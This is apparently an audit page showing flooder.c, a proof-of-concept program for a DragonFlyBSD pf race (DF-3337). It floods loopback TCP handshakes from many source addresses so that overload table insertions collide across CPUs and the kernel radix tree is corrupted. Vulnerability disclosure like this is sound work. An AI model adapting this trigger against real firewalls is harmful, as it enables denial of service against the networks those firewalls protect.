⬢ DragonFlyBSD Kernel Audit
DF-3337 / flooder.c
← back to finding ↓ download raw
/*
 * DF-3337 - concurrent pfr_insert_kentry() radix mutation race.
 *
 * pf_src_connlimit() (pf.c:485-513) runs in the PACKET path, which holds
 * pf_token only SHARED (pf_check_in/pf_check_out, pf_ioctl.c:3205/3225).
 * It calls pfr_insert_kentry() -> pfr_route_kentry() -> rn_addroute(),
 * mutating the pfr_ktable radix tree with NO serialization between CPUs
 * holding the token shared (sys/net/pf/pf_table.c:861-881).
 *
 * This flooder drives N workers on N CPUs, each doing full TCP
 * handshakes from distinct 127.a.b.c source addresses through a pf rule
 * with "(max-src-conn-rate 1/1, overload <hit>)", so every source's
 * 2nd connection fires pf_src_connlimit() -> pfr_insert_kentry() on
 * whatever CPU the ACK lands on.
 *
 * Needs root (to load/enable pf) but the trigger traffic itself is
 * ordinary loopback connections - on a real edge firewall the triggering
 * sources are remote attackers.
 *
 * usage: flooder <worker_id> <num_sources>
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define	SERV_ADDR	"127.0.0.1"
#define	SERV_PORT	8080
#ifndef NCONN
#define	NCONN	10
#endif

static void
one_conn(struct in_addr src)
{
	struct sockaddr_in dst, bindaddr;
	int s, one = 1;

	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
		return;
	setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	memset(&bindaddr, 0, sizeof(bindaddr));
	bindaddr.sin_family = AF_INET;
	bindaddr.sin_addr = src;
	if (bind(s, (struct sockaddr *)&bindaddr, sizeof(bindaddr)) < 0) {
		close(s);
		return;
	}
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_port = htons(SERV_PORT);
	dst.sin_addr.s_addr = inet_addr(SERV_ADDR);
	/* full handshake; the completing ACK fires pf_src_connlimit */
	connect(s, (struct sockaddr *)&dst, sizeof(dst));
	close(s);
}

int
main(int argc, char **argv)
{
	int wid;
	long n, i;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <worker_id> <num_sources>\n",
		    argv[0]);
		return (1);
	}
	wid = atoi(argv[1]);
	n = atol(argv[2]);

	if (wid == 99) {
		/* acceptor-only mode: drain the listen queue forever */
		struct sockaddr_in la;
		int l, one = 1;

		l = socket(AF_INET, SOCK_STREAM, 0);
		setsockopt(l, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
		memset(&la, 0, sizeof(la));
		la.sin_family = AF_INET;
		la.sin_port = htons(SERV_PORT);
		la.sin_addr.s_addr = inet_addr(SERV_ADDR);
		if (bind(l, (struct sockaddr *)&la, sizeof(la)) < 0)
			_exit(1);
		listen(l, 4096);
		for (;;) {
			int c = accept(l, NULL, NULL);
			if (c >= 0)
				close(c);
		}
		_exit(0);
	}

	for (i = 0; i < n; i++) {
		char buf[16];
		struct in_addr src;

		/* worker w owns 127.(16+w).0.0/16 */
		snprintf(buf, sizeof(buf), "127.%d.%ld.%ld", 16 + wid,
		    (i >> 8) & 0xff, i & 0xff);
		if (inet_aton(buf, &src) == 0)
			continue;
		int k;
		for (k = 0; k < NCONN; k++)
			one_conn(src);	/* conn #>=2 on the same cpu fires overload->insert;
		 * 10 conns over 6 netisr cpus guarantees >=2 land on one cpu
		 * (src-tracking thresholds are per-cpu: pf.c tree_src_tracking[cpu]) */
	}
	fprintf(stderr, "worker %d: %ld sources done\n", wid, n);
	return (0);
}